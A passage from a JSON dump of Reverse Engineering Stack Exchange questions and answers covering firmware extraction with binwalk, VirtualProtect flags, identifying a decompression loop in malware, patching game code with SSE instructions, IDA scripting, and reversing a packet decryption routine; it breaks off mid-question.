16777216 bytes, uncompressed size: 61503 bytes\n4263936     0x411000    PNG image, 924 x 520, 8-bit/color RGBA, non-interlaced\n</code></pre>\n\n<p>How to tackle this binary? Is it even possible to get everything from it?</p>\n\n<p>Firmware file is <a href=\"ftp://ftp.manta.com.pl/firmware/Telewizory/LED3204vA/\" rel=\"nofollow\">here</a> if someone what to try it.</p>\n",
        "Title": "Extracting firmware BIN file",
        "Tags": "|firmware|binary|",
        "Answer": "<p>Binwalk performed a good work in this firmware file, but found too much parts. It worth to know, that Binwalk identifies types based on magic IDs and some other properties. In a typical firmware the parts are stored in compressed and may be in encrypted form. It means, there are some high entropy parts, which possible will not contain any known file type magic ID.</p>\n\n<p>If you see the firmware file with a hex editor, you may see that it contains distinct parts (separated by a lots of 00 or FF bytes):</p>\n\n<pre><code>0x1000-0x55000: Seems to be a bootloader started with an executable part, which was followed by a compressed part from 0x8000.\n0x55000-0x3B984F: Main program\n0x3B99EC: Various data parts\n</code></pre>\n\n<p>In general firmware parts starts with a header, so let's see the header of the main program:</p>\n\n<p><a href=\"https://i.stack.imgur.com/r0fgg.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/r0fgg.png\" alt=\"Main program header in the firmware\"></a></p>\n\n<p>I marked the part name with blue, the size of the part with green and the LZMA header with yellow. As you can see the LZMA header contains the decompressed size (<code>0x9e2000</code> = <code>10362880</code>), but does not contain the compressed size. So, without any knowledge of the header, you can not determine the end of the compressed data, but only guess (for example from the entropy).</p>\n\n<p>We found the main program part, but Binwalk gave a lot more results, so let's check whether other LZMA parts are valid (I changed the description in the original result).</p>\n\n<pre><code>DECIMAL     HEX         DESCRIPTION\n-------------------------------------------------------------------------------------------------------\n199536      0x30B70     Valid LZMA compressed data containing part of the bootloader or OTA loader\n348272      0x55070     Valid LZMA compressed data containing part of the main program\n994916      0xF2E64     Valid LZMA compressed data containing other part of the main program\n3911705     0x3BB019    Valid LZMA compressed data\n4078426     0x3E3B5A    Not LZMA compressed data\n4078457     0x3E3B79    Not LZMA compressed data\n4092314     0x3E719A    Not LZMA compressed data\n4098794     0x3E8AEA    Not LZMA compressed data\n4100954     0x3E935A    Not LZMA compressed data\n4103114     0x3E9BCA    Not LZMA compressed data\n4105274     0x3EA43A    Not LZMA compressed data\n4121895     0x3EE527    Not LZMA compressed data\n4141086     0x3F301E    TIFF image data, big-endian\n4141279     0x3F30DF    Not LZMA compressed data\n4141359     0x3F312F    Not LZMA compressed data\n4145070     0x3F3FAE    Not LZMA compressed data\n4263936     0x411000    PNG image, 924 x 520, 8-bit/color RGBA, non-interlaced\n</code></pre>\n\n<p>So, Binwalk identified correctly the first four LZMA compressed part and I think it extracted correctly also. Other parts marked with LZMA compressed data are false positives, because it is an uncompressed data area, which contains low entropy data, which sometimes similar to an LZMA header.</p>\n\n<p>I'd like to draw your attention to the part started at <code>0xf2e64</code>. As I stated previously this area should be in the main part based on the header analysis. However, there is a separated compressed part after the first compressed image. If you check the header again, there is the offset of this second part at <code>0x55028</code>. So, it seems that the main image contains at least two separate parts.</p>\n"
    },
    {
        "Id": "13467",
        "CreationDate": "2016-09-08T17:48:51.980",
        "Body": "<p>VirtualProtect is straightforward but I get some results that I can't explain. Something's going on in the background probably but I'd like to know what.</p>\n\n<p>The following is under Windows 7 SP1 Ultimate x64, using a DLL compiled for Windows 10 by VS 2015. The DLL modifies some other DLL in memory.\nThe result DLL was working fine under Win 7 but it was crashing under Win 10 (no dump produced). So I started following the code in case it was something obvious.</p>\n\n<p>The code that looked strange, is the following (in pseudocode):</p>\n\n<pre><code>if (VirtualProtect(BaseAddr, BaseSize, PAGE_EXECUTE_READWRITE, &amp;dwProtect) == 0)\n        {\n            GetLastError());\n            goto _exit;\n        }\n</code></pre>\n\n<p>At this point, the new protection should be 0x40 (PAGE_EXECUTE_READWRITE).\nThe current protection that comes back in dwProtect is 0x2 (PAGE_READONLY).</p>\n\n<p>...some more code here that writes data in the modified memory block...</p>\n\n<pre><code>_exit:\nif (VirtualProtect(BaseAddr, BaseSize, PAGE_EXECUTE_READWRITE, &amp;dwProtect) == 0)\n            {\n                GetLastError());\n            }\n</code></pre>\n\n<p>At this point, the dwProtect gets the value 0x80  !! Why? Shouldn't it be 0x40 ?</p>\n\n<p>If on the second call I try to restore the original value (0x2) by passing the saved dwProtect, it still doesn't return 0x40. (I think it returned 0x4).\nI even tried setting it to 0x80 on the first call. It came back the same (0x80). It didn't double it but the DLL would crash.</p>\n\n<p>The question is, why on the second call, it doesn't return back the value I set it to on the first call.</p>\n\n<p>Thanks in advance for any clarification.</p>\n",
        "Title": "VirtualProtect return value",
        "Tags": "|memory|exploit|patching|",
        "Answer": "<p>This seems to be working as intended.</p>\n<p>Flag 0x80 is <em>PAGE_EXECUTE_WRITECOPY</em>. You can look it up in <a href=\"https://msdn.microsoft.com/de-de/library/windows/desktop/aa366786(v=vs.85).aspx\" rel=\"nofollow noreferrer\">msdn</a>.</p>\n<blockquote>\n<p>If a memory page with the &quot;PAGE_EXECUTE_READWRITE&quot; access protection attributes is requested from the OS, then a page with the &quot;PAGE_EXECUTE_WRITECOPY&quot; attributes, not the &quot;PAGE_EXECUTE_READWRITE&quot; attributes is given.</p>\n<p>The reason for that behavior is so simple, that is, the OS memory manager wants to physically share the page between all the process instances (since it is guaranteed to be the same in all the process instances before any write).</p>\n</blockquote>\n<p>Find the full source <a href=\"http://waleedassar.blogspot.de/2012/09/pageexecutewritecopy-as-anti-debug-trick.html\" rel=\"nofollow noreferrer\">here</a>, copyright to Walied Assar</p>\n"
    },
    {
        "Id": "13475",
        "CreationDate": "2016-09-09T12:17:26.873",
        "Body": "<p>I am trying to reverse engineer a malware, and came across a piece of code that I suspect is an encryption/decryption procedure, however I do not know for sure. I can recognize that it extracts its payload from it's own <code>.rsrc</code> section.\n I scanned this algorithm with <a href=\"http://www.hexblog.com/?p=27\" rel=\"nofollow\">FindCrypt</a> and <a href=\"https://bitbucket.org/daniel_plohmann/simplifire.idascope\" rel=\"nofollow\">IDAScope</a>, Both plugins failed identifying it as a cryptographic algorithm.</p>\n\n<p>I am not familiar with cryptographic algorithms. What are some good indications of code being an encryption or decryption algorithm, and what indications rule it out?</p>\n\n<p>The extraction algorithm is(generated by IDA):</p>\n\n<pre><code>int __stdcall sub_9001320(int a1, unsigned int a2, int a3)\n{\n// a1 = a3 = 0x09003000\n// a2 = 0x7600\n\n\n\n  int result; // eax@2\n  char v4; // al@23\n  unsigned int l; // [sp+4h] [bp-4Ch]@33\n  unsigned int k; // [sp+10h] [bp-40h]@19\n  unsigned int v7; // [sp+14h] [bp-3Ch]@19\n  int v8; // [sp+18h] [bp-38h]@40\n  signed int j; // [sp+1Ch] [bp-34h]@13\n  unsigned int v10; // [sp+20h] [bp-30h]@5\n  unsigned int i; // [sp+24h] [bp-2Ch]@5\n  unsigned int v12; // [sp+28h] [bp-28h]@5\n  unsigned int v13; // [sp+2Ch] [bp-24h]@5\n  signed int v14; // [sp+30h] [bp-20h]@13\n  unsigned int v15; // [sp+34h] [bp-1Ch]@5\n  unsigned int v16; // [sp+38h] [bp-18h]@5\n  unsigned __int8 v17; // [sp+3Fh] [bp-11h]@5\n  signed int v18; // [sp+40h] [bp-10h]@5\n  _DWORD *lpAddress; // [sp+44h] [bp-Ch]@11\n  unsigned int v20; // [sp+48h] [bp-8h]@13\n  unsigned int v21; // [sp+4Ch] [bp-4h]@16\n\n  if ( a2 &gt; 0xC )\n  {\n    if ( *(_DWORD *)a1 == 1083581807 )\n    {\n      v16 = sub_9001300(a1);\n      v18 = 12;\n      v17 = 0;\n      v15 = 9;\n      v12 = 256;\n      v13 = 256;\n      v10 = 8 * a2 - 96;\n      for ( i = 9; v10 &gt;= i; v10 -= i )\n      {\n        if ( i != 12 &amp;&amp; v13 == 1 &lt;&lt; i )\n          ++i;\n        ++v13;\n      }\n      lpAddress = VirtualAlloc(0, 0xC000u, 0x1000u, 4u);\n      if ( lpAddress )\n      {\n        v20 = 0;\n        v14 = 256;\n        for ( j = 0; j &lt;= 255; ++j )\n        {\n          lpAddress[3 * j] = 0;\n          lpAddress[3 * j + 2] = 0;\n          lpAddress[3 * j + 1] = 1;\n        }\n        v21 = 0;\n        while ( v21 &lt; v16 &amp;&amp; v12 &lt; v13 )\n        {\n          v7 = 0;\n          for ( k = 0; k &lt; v15; ++k )\n          {\n            if ( (1 &lt;&lt; (7 - (v17 + 8 * v18) % 8)) &amp; *(_BYTE *)(a1 + (v17 + 8 * v18) / 8) )\n              v7 |= 1 &lt;&lt; k;\n            v4 = (v17 + 1) % 8;\n            v17 = (v17 + 1) % 8;\n            if ( !v4 )\n              ++v18;\n          }\n          if ( v7 &gt; 0xFF )\n          {\n            if ( v20 &lt; 0xF00 &amp;&amp; v7 &gt; v20 + 255 )\n              return 0;\n            if ( v21 + lpAddress[3 * v7 + 1] &gt; v16 )\n              return 0;\n            for ( l = 0; l &lt; lpAddress[3 * v7 + 1]; ++l )\n              *(_BYTE *)(a3 + l + v21) = *(_BYTE *)(a3 + l + lpAddress[3 * v7]);\n          }\n          else\n          {\n            *(_BYTE *)(v21 + a3) = v7;\n          }\n          if ( v20 == 3840 )\n          {\n            if ( (unsigned int)++v14 &gt;&gt; 12 )\n              v14 = 256;\n          }\n          if ( v20 &gt;= 0xF00 )\n          {\n            v8 = v14 - 1;\n            if ( v14 == 256 )\n              v8 = 4095;\n          }\n          else\n          {\n            v8 = v20 + v14;\n          }\n          lpAddress[3 * v8] = v21;\n          lpAddress[3 * v8 + 1] = lpAddress[3 * v7 + 1] + 1;\n          lpAddress[3 * v8 + 2] = 0;\n          if ( v20 &lt; 0xF00 )\n            ++v20;\n          v21 = v21 + lpAddress[3 * v8 + 1] - 1;\n          ++v12;\n          if ( v15 &lt; 0xC &amp;&amp; 1 &lt;&lt; v15 == v12 )\n            ++v15;\n        }\n        if ( v21 &gt;= v16 )\n        {\n          // sub_9001000 is only called onece and always return 0\n          if ( *(_DWORD *)(a1 + 8) == sub_9001000(a3, v16) )\n          {\n            VirtualFree(lpAddress, 0, 0x8000u);\n            result = 0;\n          }\n          else\n          {\n            result = 0;\n          }\n        }\n        else\n        {\n          result = 0;\n        }\n      }\n      else\n      {\n        result = 0;\n      }\n    }\n    else\n    {\n      result = 0;\n    }\n  }\n  else\n  {\n    result = 0;\n  }\n  return result;\n}\n\n\nint __stdcall sub_9001300(int a1)\n{\n  int result; // eax@2\n\n  if ( *(_DWORD *)a1 == 1083581807 )\n    result = *(_DWORD *)(a1 + 4);\n  else\n    result = 0;\n  return result;\n}\n</code></pre>\n\n<p>File info:\n     file format pei-i386</p>\n\n<pre><code>Sections:\nIdx Name          Size      VMA       LMA       File off  Algn\n  0 .text         00001000  09001000  09001000  00001000  2**2\n                  CONTENTS, ALLOC, LOAD, READONLY, CODE\n  1 .rdata        00001000  09002000  09002000  00002000  2**2\n                  CONTENTS, ALLOC, LOAD, READONLY, DATA\n  2 .rsrc         00005000  09003000  09003000  00003000  2**2\n                  CONTENTS, ALLOC, LOAD, DATA\n  3 .reloc        00001000  09008000  09008000  00008000  2**2\n                  CONTENTS, ALLOC, LOAD, READONLY, DATA\n</code></pre>\n",
        "Title": "How can I determine if a piece of code is an encryption algorithm?",
        "Tags": "|malware|unpacking|encryption|decryption|encodings|",
        "Answer": "<p><strong>TL;DR:</strong> What we have here is probably not an encryption algorithm, it is more likely a decompression loop, by the look of it. It simply does not do anything that could be considered even remotely similar to encryption.</p>\n<p>Encryption algorithms are divided into two classes. First is a <a href=\"https://en.wikipedia.org/wiki/Stream_cipher\" rel=\"noreferrer\">stream cipher</a>. From wikipedia:</p>\n<blockquote>\n<p>A stream cipher is a symmetric key cipher where plaintext digits are combined with a pseudorandom cipher digit stream (keystream). In a stream cipher each plaintext digit is encrypted one at a time with the corresponding digit of the keystream, to give a digit of the ciphertext stream. Since encryption of each digit is dependent on the current state of the cipher, it is also known as state cipher. In practice, a digit is typically a bit and the combining operation an exclusive-or (XOR).</p>\n</blockquote>\n<p>Second is a <a href=\"https://en.wikipedia.org/wiki/Block_cipher\" rel=\"noreferrer\">block cypher</a>. From wikipedia:</p>\n<blockquote>\n<p>In cryptography, a block cipher is a deterministic algorithm operating on fixed-length groups of bits, called blocks, with an unvarying transformation that is specified by a symmetric key. Block ciphers operate as important elementary components in the design of many cryptographic protocols, and are widely used to implement encryption of bulk data.</p>\n<p>The modern design of block ciphers is based on the concept of an iterated product cipher. In his seminal 1949 publication, Communication Theory of Secrecy Systems, Claude Shannon analyzed product ciphers and suggested them as a means of effectively improving security by combining simple operations such as substitutions and permutations.<a href=\"https://en.wikipedia.org/wiki/Stream_cipher\" rel=\"noreferrer\">1</a> Iterated product ciphers carry out encryption in multiple rounds, each of which uses a different subkey derived from the original key. One widespread implementation of such ciphers, named a Feistel network after Horst Feistel, is notably implemented in the DES cipher.<a href=\"https://en.wikipedia.org/wiki/Block_cipher\" rel=\"noreferrer\">2</a> Many other realizations of block ciphers, such as the AES, are classified as substitution-permutation networks.</p>\n</blockquote>\n<p>What we have here is probably not an encryption algorithm. It simply does not do anything that could be considered even remotely similar to encryption. Some of the things that are often found in encryption algorithms but are missing here (not a complete list but just the first few things I came up with):</p>\n<ol>\n<li>There's no pseudo-random stream generated based on an internal state and seed like in stream ciphers</li>\n<li>no sequential character combination of generated stream with input buffer using a XOR (or any other operation).</li>\n<li>No block structure - a sequence executed multiple times on each nicely chunked portion of the input message.</li>\n<li>no long and complex permutation (and no permutation table).</li>\n<li>No multiple iterations of a permutation code common to block ciphers.</li>\n<li>no key sequence initialization (used in both stream and block ciphers).</li>\n<li>Not enough substitutions over either input message or stream/state.</li>\n</ol>\n<p>Encryption algorithms are usually long (and one might say ugly). Usually structured and meticulous on performing operations on all bytes in long repeated sequences. You'll often see multiple iterations of a fixed length performing a single or few operations.</p>\n<p>This is more resembling a compression/decompression algorithm, as sequences of bytes are copied on certain conditions, while bytes are constructed into the decompressed buffer on others.</p>\n<p>Lets go over the code and see:</p>\n<pre><code>int __stdcall sub_9001320(int a1, unsigned int a2, int a3)\n{\n// a1 = a3 = 0x09003000\n// a2 = 0x7600\n\n  int result; // eax@2\n  char v4; // al@23\n  unsigned int l; // [sp+4h] [bp-4Ch]@33\n  unsigned int k; // [sp+10h] [bp-40h]@19\n  unsigned int v7; // [sp+14h] [bp-3Ch]@19\n  int v8; // [sp+18h] [bp-38h]@40\n  signed int j; // [sp+1Ch] [bp-34h]@13\n  unsigned int v10; // [sp+20h] [bp-30h]@5\n  unsigned int i; // [sp+24h] [bp-2Ch]@5\n  unsigned int v12; // [sp+28h] [bp-28h]@5\n  unsigned int v13; // [sp+2Ch] [bp-24h]@5\n  signed int v14; // [sp+30h] [bp-20h]@13\n  unsigned int v15; // [sp+34h] [bp-1Ch]@5\n  unsigned int v16; // [sp+38h] [bp-18h]@5\n  unsigned __int8 v17; // [sp+3Fh] [bp-11h]@5\n  signed int v18; // [sp+40h] [bp-10h]@5\n  _DWORD *lpAddress; // [sp+44h] [bp-Ch]@11\n  unsigned int v20; // [sp+48h] [bp-8h]@13\n  unsigned int v21; // [sp+4Ch] [bp-4h]@16\n</code></pre>\n<p>Function definiton</p>\n<pre><code>  if ( a2 &gt; 0xC )\n  {\n</code></pre>\n<p>Assert a certain length is at least 96 bytes. Although there are some block ciphers accepting this as block size, it's not too common and most widely accepted block ciphers do not support this block size.</p>\n<pre><code>    if ( *(_DWORD *)a1 == 1083581807 )\n    {\n</code></pre>\n<p>Assert certain first bytes of buffer are fixed, this just looks odd without context.</p>\n<pre><code>      v16 = sub_9001300(a1);\n</code></pre>\n<p>Set <code>v16</code> to second dword of input buffer</p>\n<pre><code>      v18 = 12;\n      v17 = 0;\n      v15 = 9;\n      v12 = 256;\n      v13 = 256;\n      v10 = 8 * a2 - 96;\n</code></pre>\n<p>Some more variable initializations</p>\n<pre><code>      for ( i = 9; v10 &gt;= i; v10 -= i )\n      {\n        if ( i != 12 &amp;&amp; v13 == 1 &lt;&lt; i )\n          ++i;\n        ++v13;\n      }\n</code></pre>\n<p>Increase <code>v13</code> according to original length. Without going too much into specifics here, this doesn't look like any cipher seed/initialization.</p>\n<pre><code>      lpAddress = VirtualAlloc(0, 0xC000u, 0x1000u, 4u);\n      if ( lpAddress )\n      {\n</code></pre>\n<p>Allocate a hardcoded length buffer to work on as temporary data</p>\n<pre><code>        v20 = 0;\n        v14 = 256;\n        for ( j = 0; j &lt;= 255; ++j )\n        {\n          lpAddress[3 * j] = 0;\n          lpAddress[3 * j + 2] = 0;\n          lpAddress[3 * j + 1] = 1;\n        }\n</code></pre>\n<p>Initialize said buffer, 2/3 with 0s, 1/3 with 1s. this is probably a boolean buffer.</p>\n<pre><code>        v21 = 0;\n        while ( v21 &lt; v16 &amp;&amp; v12 &lt; v13 )\n        {\n</code></pre>\n<p>Loop <code>v16</code> times. remember <code>v16</code> is user supplied as the second dword in provided buffer. The second dword after the magic is probably a length.</p>\n<pre><code>          v7 = 0;\n          for ( k = 0; k &lt; v15; ++k )\n          {\n</code></pre>\n<p>Another loop, this time for 9 iterations. This means we have 9 iterations for each character in the guessed length parameter. Most block ciphers will have more iterations, and those won't be per character. Most stream ciphers will not process data but instead generate a stream of bytes to XOR with. We don't see a XOR here either.</p>\n<pre><code>            if ( (1 &lt;&lt; (7 - (v17 + 8 * v18) % 8)) &amp; *(_BYTE *)(a1 + (v17 + 8 * v18) / 8) )\n              v7 |= 1 &lt;&lt; k;\n</code></pre>\n<p>Bits are only added to <code>v7</code>, also not productive for any type of encryption algorithm.</p>\n<pre><code>            v4 = (v17 + 1) % 8;\n            v17 = (v17 + 1) % 8;\n</code></pre>\n<p>These two are byte-sized counters.</p>\n<pre><code>            if ( !v4 )\n              ++v18;\n          }\n</code></pre>\n<p>Increase another counter, used for determining how many bits in <code>v7</code> will be set. This entire loop decides which bits of <code>v7</code> will be set, depending on a fixed sequence and wether certain bits of the input buffer are</p>\n<pre><code>          if ( v7 &gt; 0xFF )\n          {\n            if ( v20 &lt; 0xF00 &amp;&amp; v7 &gt; v20 + 255 )\n              return 0;\n            if ( v21 + lpAddress[3 * v7 + 1] &gt; v16 )\n              return 0;\n            for ( l = 0; l &lt; lpAddress[3 * v7 + 1]; ++l )\n              *(_BYTE *)(a3 + l + v21) = *(_BYTE *)(a3 + l + lpAddress[3 * v7]);\n          }\n</code></pre>\n<p>If <code>v7</code> is above 0xff do some sanity (and return on invalid state/data) and then copy a sequence of bytes until a null terminator is reached from a3 to a3, at offsets determined by the value of <code>lpAddress</code> at a specific offset determined by <code>v7</code>.</p>\n<pre><code>          else\n          {\n            *(_BYTE *)(v21 + a3) = v7;\n          }\n</code></pre>\n<p>if <code>v7</code> is below or equal to 255, simply assign it in specified location.</p>\n<pre><code>          if ( v20 == 3840 )\n          {\n            if ( (unsigned int)++v14 &gt;&gt; 12 )\n              v14 = 256;\n          }\n          if ( v20 &gt;= 0xF00 )\n          {\n            v8 = v14 - 1;\n            if ( v14 == 256 )\n              v8 = 4095;\n          }\n          else\n          {\n            v8 = v20 + v14;\n          }\n</code></pre>\n<p>Reset values of <code>v8</code> and <code>v4</code> based on values of offset variables, namely <code>v20</code> and themselves.</p>\n<pre><code>          lpAddress[3 * v8] = v21;\n          lpAddress[3 * v8 + 1] = lpAddress[3 * v7 + 1] + 1;\n          lpAddress[3 * v8 + 2] = 0;\n</code></pre>\n<p>Set a few other values in <code>lpAddress</code> based hardcoded values (0) and a copy of a single value.</p>\n<pre><code>          if ( v20 &lt; 0xF00 )\n            ++v20;\n          v21 = v21 + lpAddress[3 * v8 + 1] - 1;\n          ++v12;\n          if ( v15 &lt; 0xC &amp;&amp; 1 &lt;&lt; v15 == v12 )\n            ++v15;\n        }\n</code></pre>\n<p>Some more counter update based on input and reset of overflows.</p>\n<pre><code>        if ( v21 &gt;= v16 )\n        {\n          // sub_9001000 is only called onece and always return 0\n          if ( *(_DWORD *)(a1 + 8) == sub_9001000(a3, v16) )\n          {\n            VirtualFree(lpAddress, 0, 0x8000u);\n            result = 0;\n          }\n          else\n          {\n            result = 0;\n          }\n        }\n        else\n        {\n          result = 0;\n        }\n      }\n      else\n      {\n        result = 0;\n      }\n    }\n    else\n    {\n      result = 0;\n    }\n  }\n  else\n  {\n    result = 0;\n  }\n  return result;\n}\n</code></pre>\n<p>In case of any invalid input, return 0</p>\n<pre><code>int __stdcall sub_9001300(int a1)\n{\n  int result; // eax@2\n\n  if ( *(_DWORD *)a1 == 1083581807 )\n    result = *(_DWORD *)(a1 + 4);\n  else\n    result = 0;\n  return result;\n}\n</code></pre>\n<p>Assert buffer starts with a hardcoded dword (which we already know is the case because of a previous if statement) and return the value in the second dword.</p>\n"
    },
    {
        "Id": "13477",
        "CreationDate": "2016-09-09T20:45:07.973",
        "Body": "<p>I have the following line of code in a game:</p>\n\n<p><code>movss xmm0,[eax+000000F0]</code></p>\n\n<p>It basically loads the float speed of the current speed category into the XMM0 register. I already made a jump to an empty code section to get some more space, because I now want to multiply this speed by a hardcoded value of 2 after it was loaded. Sadly, easy-thinking like this doesn't work:</p>\n\n<pre><code>movss xmm0,[eax+000000F0]\nmulss xmm0,2\n</code></pre>\n\n<p>I can't simply multiply an XMM register with an integer or float immediate. I read that I can only multiply with another XMM register. But then again I can't push and pop an existing XMM register to the stack to abuse it for that operation temporarily.</p>\n\n<p>How would I create such a simple multiplication operation?</p>\n",
        "Title": "How to multiply an SSE float with a hardcoded value using MULSS?",
        "Tags": "|assembly|float|",
        "Answer": "<p>Although you indeed cannot use <code>mulss</code> with an immediate value like you've pointed out, you are allowed to pass an 32bit offset as <code>mulss</code>'s second operand:</p>\n\n<blockquote>\n  <p>Multiplies the low single-precision floating-point value from the source operand (second operand) by the low single-precision floating-point value in the destination operand (first operand), and stores the single-precision floating-point result in the destination operand. The source operand can be an XMM register or a 32-bit memory location. The destination operand is an XMM register. The three high-order double-words of the destination operand remain unchanged. </p>\n</blockquote>\n\n<p>You could then just point to any offset you control, if code is not relocated. If it is, you could simply use 'lea' if in 64bit mode or do the <code>call $+5 / pop</code> trick in x86.</p>\n\n<p>I'll assume x86 because it makes it a bit more complicated. The patch should look something like the following (this wasn't tested):</p>\n\n<pre><code>    push edx\n    call next\nnext:\n    pop edx\n    movss xmm0,[eax+000000F0]\n    mulss xmm0,[edx+float-next]\n    pop edx\n    &lt;return to previous location&gt;\n\nfloat:\n    &lt;float as 32bit data&gt;\n</code></pre>\n\n<p>There might be better solutions, but nothing pops at me.</p>\n"
    },
    {
        "Id": "13480",
        "CreationDate": "2016-09-09T23:30:45.780",
        "Body": "<h2>context about <code>action_handler_t</code></h2>\n\n<p>IDA provides multiple features and APIs to extend and enhance it's usability, one of those features is the creation of user defined <code>action_handler_t</code> objects by inheriting <code>idaapi.action_handler_t</code> in IDAPython.</p>\n\n<p>The feature involves several APIs, but one of the requirements is having a class that inherits said <code>idaapi.action_handler_t</code> class and implements two methods. One of those methods is <code>update(self, ctx)</code> (the other being <code>activate(self, ctx)</code>).</p>\n\n<p>During an IDA application's lifetime, the <code>update</code> method will be called multiple times on certain events (startup, a new IDB being loaded, focus shifts to another form, etc). Updates then communicates back wether the action should be enabled or disabled and when to query again by issuing another call to <code>update</code>.</p>\n\n<p>One of those events is an action's <code>activation</code> call returns. The motivation is that actions performed as a result of an action being activated might potentially change the state of that same action or other actions.</p>\n\n<h2>actual question</h2>\n\n<p>While using IDA and certain Qt signals/slots abilities, I've created an <code>activation</code> method that returns immediately and schedules most of its login to other slots, and I'm now losing the \"post-activation\" <code>update</code> call that makes actions respond to overall state changes and change their own state (from disabled to enabled and vise versa).</p>\n\n<p>My question is, how can I force an <code>update</code> call by IDA's kernel to all existing actions so that when my delayed code finishes it could manually tell IDA it should call <code>update</code> for all actions to query for their new state?</p>\n",
        "Title": "How can I force-update IDA's action_handler_t object's state?",
        "Tags": "|ida|idapython|idapro-sdk|",
        "Answer": "<p>The <code>update</code> methods of actions are usually called when the relevant GUI components (usually various IDA views) are refreshed. To make things speedier, IDA avoids refreshing views until such a refresh is required.</p>\n\n<p>When scripting IDA, we often make changes without touching the GUI, so IDA has no way of telling when a change is done and it should refresh. To solve this, we can use the <code>idaapi.request_refresh(mask)</code> function:</p>\n\n<pre><code>idaapi.request_refresh(0xFFFFFFFF)  # IWID_ALL\n</code></pre>\n\n<p>To refresh a specific view, use a mask made of the following constants (documented <a href=\"https://www.hex-rays.com/products/ida/support/sdkdoc/group___i_w_i_d__.html\" rel=\"nofollow\">here</a>):</p>\n\n<pre><code>#define IWID_EXPORTS  (1u &lt;&lt; BWN_EXPORTS) ///&lt; exports           (0)\n#define IWID_IMPORTS  (1u &lt;&lt; BWN_IMPORTS) ///&lt; imports           (1)\n#define IWID_NAMES    (1u &lt;&lt; BWN_NAMES  ) ///&lt; names             (2)\n#define IWID_FUNCS    (1u &lt;&lt; BWN_FUNCS  ) ///&lt; functions         (3)\n#define IWID_STRINGS  (1u &lt;&lt; BWN_STRINGS) ///&lt; strings           (4)\n#define IWID_SEGS     (1u &lt;&lt; BWN_SEGS   ) ///&lt; segments          (5)\n#define IWID_SEGREGS  (1u &lt;&lt; BWN_SEGREGS) ///&lt; segment registers (6)\n#define IWID_SELS     (1u &lt;&lt; BWN_SELS   ) ///&lt; selectors         (7)\n#define IWID_SIGNS    (1u &lt;&lt; BWN_SIGNS  ) ///&lt; signatures        (8)\n#define IWID_TILS     (1u &lt;&lt; BWN_TILS   ) ///&lt; type libraries    (9)\n#define IWID_LOCTYPS  (1u &lt;&lt; BWN_LOCTYPS) ///&lt; local types       (10)\n#define IWID_CALLS    (1u &lt;&lt; BWN_CALLS  ) ///&lt; function calls    (11)\n#define IWID_PROBS    (1u &lt;&lt; BWN_PROBS  ) ///&lt; problems          (12)\n#define IWID_BPTS     (1u &lt;&lt; BWN_BPTS   ) ///&lt; breakpoints       (13)\n#define IWID_THREADS  (1u &lt;&lt; BWN_THREADS) ///&lt; threads           (14)\n#define IWID_MODULES  (1u &lt;&lt; BWN_MODULES) ///&lt; modules           (15)\n#define IWID_TRACE    (1u &lt;&lt; BWN_TRACE  ) ///&lt; trace view        (16)\n#define IWID_STACK    (1u &lt;&lt; BWN_STACK  ) ///&lt; call stack        (17)\n#define IWID_XREFS    (1u &lt;&lt; BWN_XREFS  ) ///&lt; xrefs             (18)\n#define IWID_SEARCHS  (1u &lt;&lt; BWN_SEARCH ) ///&lt; search results    (19)\n#define IWID_FRAME    (1u &lt;&lt; BWN_FRAME  ) ///&lt; function frame    (25)\n#define IWID_NAVBAND  (1u &lt;&lt; BWN_NAVBAND) ///&lt; navigation band   (26)\n#define IWID_ENUMS    (1u &lt;&lt; BWN_ENUMS  ) ///&lt; enumerations      (27)\n#define IWID_STRUCTS  (1u &lt;&lt; BWN_STRUCTS) ///&lt; structures        (28)\n#define IWID_DISASMS  (1u &lt;&lt; BWN_DISASM ) ///&lt; disassembly views (29)\n#define IWID_DUMPS    (1u &lt;&lt; BWN_DUMP   ) ///&lt; hex dumps         (30)\n#define IWID_NOTEPAD  (1u &lt;&lt; BWN_NOTEPAD) ///&lt; notepad           (31)\n#define IWID_IDAMEMOS (IWID_DISASMS|IWID_DUMPS)\n</code></pre>\n"
    },
    {
        "Id": "13483",
        "CreationDate": "2016-09-10T15:35:36.460",
        "Body": "<p>I would like to ask if you have any idea or approach to reverse engineer a decryption algorithm to find the opposite encryption function.\nI do have all required keys and fields and of course the decryption source code, which I reverse engineered already.</p>\n\n<p>I have analyzed the code and kinda know how it works but can`t figure out how to reverse (in the sense of undoing the encryption of) it.</p>\n\n<p>The following information is available to me:</p>\n\n<pre><code>// I have all these fields (filled correctly)\n\n    public byte[] Keychain;\n    public uint Step, Mul, HeaderXor, Key;\n</code></pre>\n\n<p>The decryption function looks like this:</p>\n\n<pre><code>public void Decrypt(byte[] packet) {\n        fixed (byte* pp = packet, pk = Keychain) {\n            uint size = (uint)GetPacketSize(packet);\n            uint header = (first) ? /* Checks if it is a partial packet (It isnt!)*/\n                0x000eb7e2 :\n                *((uint*)&amp;pp[0]) ^ HeaderXor; \n                // HeaderXor is an unsigned int\n                // It also changes after each decryption and if the key changes\n\n            if (first) \n                first = false;\n\n            uint token = *((uint*)&amp;pp[0]);\n            *((uint*)&amp;pp[0]) = header;\n            token &amp;= 0x3FFF;    // Get only last 14 bits\n            token *= Mul * 4;   \n            // Mul is an unsigned int and changes sometimes\n            token = *((uint*)&amp;pk[token]);\n\n            uint i, r, t;\n            size -= r = (size - 8) &amp; 3; // Make size dividable by 4\n\n            for (i = 8; i &lt; size; i += 4) {\n                t = *((uint*)&amp;pp[i]);\n                token ^= t;\n                *((uint*)&amp;pp[i]) = token;\n\n                t &amp;= 0x3FFF;\n                token = *((uint*)&amp;pk[t * Mul * 4]);\n            }\n\n            t = 0xFFFFFFFF &gt;&gt; 8 * (4 - (int)r);\n            token &amp;= t;\n            *((uint*)&amp;pp[i]) ^= token; // If something is left over ( if size - 8 == 5 then size &amp; 3 has rest of 1)\n            * ((uint*)&amp;pp[4]) = 0;\n\n            Step++;\n            Step &amp;= 0x3FFF;\n            HeaderXor = *((uint*)&amp;pk[Step * Mul * 4]);\n        }\n    }\n</code></pre>\n\n<p>Example results:</p>\n\n<pre><code>// Encrypted data\n// 5b 54 34 23\n// cc c2 5a a3\n// 81 7e d6 27\n// 36 c4 8f 36\n// b9 3b 6f ce\n// f4 8e 72 5b\n// \n// Decrypted data\n// e2 b7 18 00\n// 00 00 00 00\n// be 00 56 00\n// 2f 00 58 00\n// 30 00 59 00\n// 31 00 01 00\n</code></pre>\n\n<p>So, do you have any approach ?\nMaybe this source code can offer some more informations, but its Server-To-Client:</p>\n\n<p><a 